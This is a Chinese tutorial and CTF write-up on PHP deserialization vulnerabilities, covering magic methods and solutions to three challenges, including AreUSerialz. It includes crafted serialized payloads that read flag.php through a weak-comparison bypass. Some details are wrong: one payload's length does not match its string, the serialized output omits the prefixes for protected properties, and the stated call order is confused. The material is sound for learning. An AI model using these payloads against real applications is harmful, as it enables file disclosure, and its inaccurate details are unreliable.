**
反序列化漏洞
**
反序列化漏洞##
什么是序列化
将复杂的数据结构转换为可以作为有顺序的字节流发送、或者转化为更扁平的格式以方便接收。
序列化使如下操作更简单:
-
写入复杂的数据到进程间的内存、文件或者数据库
-
发送复杂的数据,例如在网络、应用程序的不同组件之间、在API中调用复杂数据
当一个对象被序列化的时候,它的状态也就成了一种“持久态”。即对象属性极其分配的值都被保留下来
。
什么是反序列化
反序列化是将此字节流恢复为原始对象的完整功能副本的过程,其状态与序列化时的状态完全相同。
之后网站的一些逻辑便可以与这个反序列化的对象进行交互。
许多编程语言都对反序列化有支持。而对象序列化的方法取决于语言的不同:有的转化为2进制,有的转化为不同的字符串格式。
所有的对象属性都储存在序列化的数据流中,为了防止被序列化,可以在类的声明中标记为transient
PHP反序列化漏洞
php序列化与反序列化的关键函数:
-
serialize() 将一个对象转换成字符串 ,即一个序列化函数
-
unserialize() 将字符串还原成一个对象,即一个反序列化函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oP2PJbAn-1649780766172)(V:/Markdown%E6%96%87%E6%A1%A3/images/640.webp)]
简单(无类)情况
简单实例,如下是一串简单的PHP代码,index.php里面包含了flag.php 这个文件
<?php
// 关闭错误报告
error_reporting(0);
include "flag.php";
$key="020202";
$str=$_GET['str'];
if(unserialize($str)==="$key"){
echo "$flag";
}
show_source(__FILE__);
//show_source() 函数对文件进行语法高亮显示。
?>
flag.php文件内容如下
<?php
$flag="flag{020202020020}"
?>
逻辑解释:当通过URL传递参数到str变量中,如果传递的变量反序列化
出来与"$key"相同(三个等于号),那么就输出flag.php里面的flag参数内容,所以可以在URL中输入:
http://127.0.0.1/web/serialize/index.php?str=s:6:"22020202";
在不确定是什么形式的序列化字符串,可以去在线工具里尝试
<?php
$key=020202;
echo serialize($key);
?>
// i:8322;
陷阱(无类)情况
下面是一个反序列化漏洞的陷阱CTF题目
<?php
error_reporting(0);
// 隐藏报错内容
include("flag.php");
$cookie=$_COOKIE['Bob'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}elseif(unserialize($cookie)==="$key"){
echo "$flag";
}else{
$key="123456";
}
?>
从代码可以看到,代码获取Bob的cookie内容,然后与key元素作比较,如果反序列化出来内容相同,则输出flag,但是这里面有两个陷阱:
-
在渗透时,只有输入
?hint=
的时候才会展示出源代码,而后面的内容则不再执行下去,即hint值存在才会展示源代码,但是一旦展示源代码,后面的内容则不再执行
-
代码执行顺序的陷阱,
key的值只有在else条件下才会被赋值,所以之前与cookie比较的值为空值
根据内容,此题的正确解法修改的cookie内容:
Cookie: Bob=s:0:"";
PHP魔术方法
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
范例
例如下面的代码执行顺序
<?php
error_reporting(0);
class ABC{
public $test;
function __construct(){
$test=1;
echo "调用了构造函数<br>";
}
function __destruct(){
echo "调用了析构函数<br>";
}
function __wakeup(){
echo "调用了苏醒函数<br>";
}
}
echo "创建对象a<br>";
$a=new ABC();
echo "序列化<br>";
$a_ser=serialize($a);
echo "反序列化<br>";
$a_unser=unserialize($a_ser);
echo "对象快要死了";
// 创建对象a
// 调用了构造函数
// 序列化
// 反序列化
// 调用了苏醒函数
// 对象快要死了调用了析构函数
// 调用了析构函数
简单(有类)情况
CTFHub-2020网鼎杯AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
代码逻辑:
-
传入参数str,将其转换为字符串类型,判断是否是ASCII在32到125之间的内容
-
反序列化str参数
之前,自动调用__wakeup()
魔术方法 -
调用析构函数
__destruct()
如果op 参数为 “2”,则自动转换成“1”,将content转换为“”,并调用process()
函数 -
在
process()
函数里判断op的值来决定读写,即读取并输出flag.php
中的值
解题方法:
-
这有一个反序列化的函数
unserialize()
,就说明需要传入序列化参数 -
析构函数中存在过滤,可以利用
===
和==
的差异性进行绕过 -
需要熟悉魔术函数的调用顺序,即
__wakeup() -> unserialize() -> __destruct()
-
执行代码:
<?php
class FileHandler{
protected $op=' 2'; //绕过检测
protected $filename="flag.php";
protected $content="yzp";
}
$flag=new FileHandler();
$flag_1=serialize($flag);
echo $flag_1;
?>
获得序列化字符串
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"yzp";}
最后在URL上传入参数即可
总结:
强弱类型对比是一个绕过PHP检测的方法,== 只比较值而不比较类型,=== 是类型和值都必须相同
此外,魔术方法的调用顺序需要仔细掌握
0
4
7